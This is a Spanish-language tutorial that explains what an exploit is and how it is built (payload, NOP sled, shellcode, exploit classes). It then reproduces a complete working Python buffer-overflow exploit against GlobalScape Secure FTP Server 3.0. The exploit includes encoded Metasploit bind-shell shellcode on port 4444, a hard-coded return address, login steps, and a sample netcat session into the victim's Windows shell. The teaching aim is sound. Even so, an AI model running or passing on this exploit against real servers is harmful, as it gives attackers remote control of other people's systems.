¿Qué es un Exploit?

A continuación explicaremos resumidamente qué es un exploit y las partes que lo componen, aunque parezca básico muchos tienen una idea errónea o no saben cómo está formada la arquitectura de un exploit.

exploit

¿Qué significa exploit?

Etimologicamente “exploit” proviene del ingles explotar, y se refiere a un fragmento de software o comandos que se utilizan para aprovechar  una falla/debilidad en una aplicación o sistema con el fin de obtener un comportamiento no deseado en el mismo (acceso de forma no autorizada, toma de control de un sistema de cómputo, consecución privilegios no concedidos lícitamente, consecución de ataques de denegación de servicio).
Técnicamente un exploit es generalmente una aplicación compuesta de una o varias partes programada en un lenguaje adecuado para  aprovechar un agujero de seguridad (vulnerabilidad). Pueden tomar forma en distintos tipos de software, como scripts, virus o gusanos informáticos.


¿De qué se compone un exploit?

Los fallos de seguridad que tienen los programas necesitan de una técnica para llegar a ellos, y es por eso que nuestro exploit necesita primero hacer una inicialización para preparar todo, por ejemplo, para explotar un overflow en un comando FTP, primero debemos  conectarnos, autenticarnos y después de eso podemos esperar que el FTP acepte un comando.
La otra parte es la payload.


¿Qué es un payload?

Una payload es un conjunto de datos que son los que finalmente se usaran para explotar la falla; los payloads constan de varias partes, principalmente de una shellcode, un NOP sled y otros datos que si seguimos con el ejemplo del FTP sería el comando con el argumento.


¿Qué es un NOP sled?

Cuando explotamos un proceso manipulamos el puntero de instrucciones (el que dice cual es la siguiente instrucción a ejecutar, EIP en x86), pero muchas veces existe un margen de error que podría hacer fallar nuestra shellcode debido a que tal vez el EIP apunta a la mitad de la shellcode y no al principio.
Entonces lo que se hace es agregar una cadena de instrucciones  de un byte (para que no fallen si caen en la mitad de la instrucción) que no afecten mucho el entorno. Es por eso que se le dice NOP sled, es una serie de instrucciones NOP (opcode: 0x90) de un determinado tamaño que se agrega antes de la shellcode y se calcula que el EIP apunte a alguna parte del sled.
Actualmente el NOP sled clásico es detectado por firewalls y debemos usar otras instrucciones similares que ocupen un byte (por ejemplo la instruccion push para registros).


Clasificación de los exploits:

Según la forma en la que el exploit contacta con el software vulnerable:

  • – Exploit remoto: si utiliza una red de comunicaciones para entrar en contacto con el sistema víctima.
  • – Exploit local: si para ejecutar el exploit se necesita tener antes acceso a el sistema vulnerable.
  • – Exploit ClientSide: aprovechan vulnerabilidades de aplicaciones que típicamente están instaladas en gran parte de las estaciones de trabajo de las organizaciones.

Según el conocimiento de su existencia:

  • – Conocidos: son aquellos de los que se tiene constancia y podemos tomar medidas para evitar ver nuestros sistemas afectados.
  • – 0-Day: se utilizan sobre vulnerabilidades que aún no han sido reportadas al público general y, por tanto, suponen una grave amenaza, especialmente si se utilizan en ataques dirigidos a empresas o gobiernos.

Basta de teoría…

Veamos un típico exploit hecho en Python para explotar la recepción de comandos en un server FTP; presten atencion a los comentarios explicando cada parte

    #!/usr/bin/python
     
    # En todo exploit tenemos un hermoso banner donde deja créditos, dice como funciona y le manda saludos a sus amigos, familiares, etc.
    # No es menor cosa!
     
    ###############################################
    # GlobalScape Secure FTP Server Buffer Overflow
    # Coded by mati@see-security.com
    # [url]http://www.see-security.com[/url]
    # [url]http://www.hackingdefined.com/exploits/Globalscape30.pdf[/url]
    ###############################################
    # EIP Overwrite
    # root@[muts]# ./globalscape-3.0-ftp.py
    #
    # [+] Evil GlobalFTP 3.0 Secure Server Exploit
    # [+] Coded by mati [at] see-security [dot] com
    # [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
    #
    # [+] Sending Username
    # [+] Sending Password
    # [+] Sending evil buffer
    # [+] Connect to port 4444 on victim Machine!
    #
    # root@[muts]# nc -v 192.168.1.153 4444
    # [192.168.1.153] 4444 (?) open
    # Microsoft Windows 2000 [Version 5.00.2195]
    # (C) Copyright 1985-2000 Microsoft Corp.
    #
    # C:\WINNT\system32>
     
    import socket
    import struct
    import time
     
    #Aca tenemos la shellcode que usa, en este caso es una que genero con Metasploit y es una bind_shell codificada 
    #alfanumericamente para no tener problemas de bad chars ya que el protocolo FTP es bastante exigente al igual que HTTP y otros mas.
     
    # win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum 
    # [url]http://metasploit.com[/url] */
    sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
    sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
    sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
    sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
    sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
    sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
    sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
    sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
    sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
    sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
    sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
    sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
    sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
    sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
    sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
    sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
    sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
    sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
    sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
    sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
    sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
    sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
    sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
    sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
    sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
    sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
    sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
    sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
    sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
    sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
    sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
    sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
    sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
    sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
    sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
    sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
    sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
    sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
    sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
    sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
    sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"
     
    # Aquí una de las partes más importantes, la generación de la payload:
     
    #Empezamos con un relleno de buffer, es lo que necesitamos para llegar a producir el oveflow.
    payload   = '\x41'*2043
     
    #Luego agregamos la dirección de retorno, en Windows esto regresara a una instrucción que nos permitira llamar a nuestra shellcode.
    #todo se trata de manipular el puntero de instrucciones (EIP en x86). Generalmente en Windows es pop;pop;ret (SEH).
    payload += struct.pack("<L",0x7C4FEDBB)
     
    #Agregamos el famoso NOP sled, esto lo que hace es agregar una larga cadena (en este caso 36) de instrucciones NOP.
    payload += '\x90'*36
     
    #Finalmente agregamos la shellcode a la payload.
    payload += sc
     
    #Otra parte importante es la preparacion del entorno para poder mandar la payload.
    #en este caso es un server FTP...
    try:
            #Primero nos conectamos al server
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
            print "[+] Coded by muts"
            connect=s.connect(('192.168.1.153',21))
     
            #recibimos el banner de bienvenida de FTP
            d=s.recv(1024)
            print "[+] " +d
            print "[+] Sending Username"
            time.sleep(1)
     
            #Nos autenticamos en el server enviando usuario y password
            s.send('USER muts\r\n')
            s.recv(1024)
            print "[+] Sending Password"
            time.sleep(1)
            s.send('PASS muts\r\n')
            s.recv(1024)
            print "[+] Sending evil buffer"
            time.sleep(1)
     
            #y finalmente enviamos la payload que preparamos anteriormente, fijense que despues de la payload envia '\r\n' para terminar el comando.
            s.send(payload+'r\n')
            print "[+] Connect to port 4444 on victim Machine!\n"
    except:
            print "Can't connect to ftp"

Esto es para comprender cómo es un exploit “por dentro” y empezar a entender que son esas cadenas de caracteres que aparecen y cómo es que llegan a tomar el control de un proceso.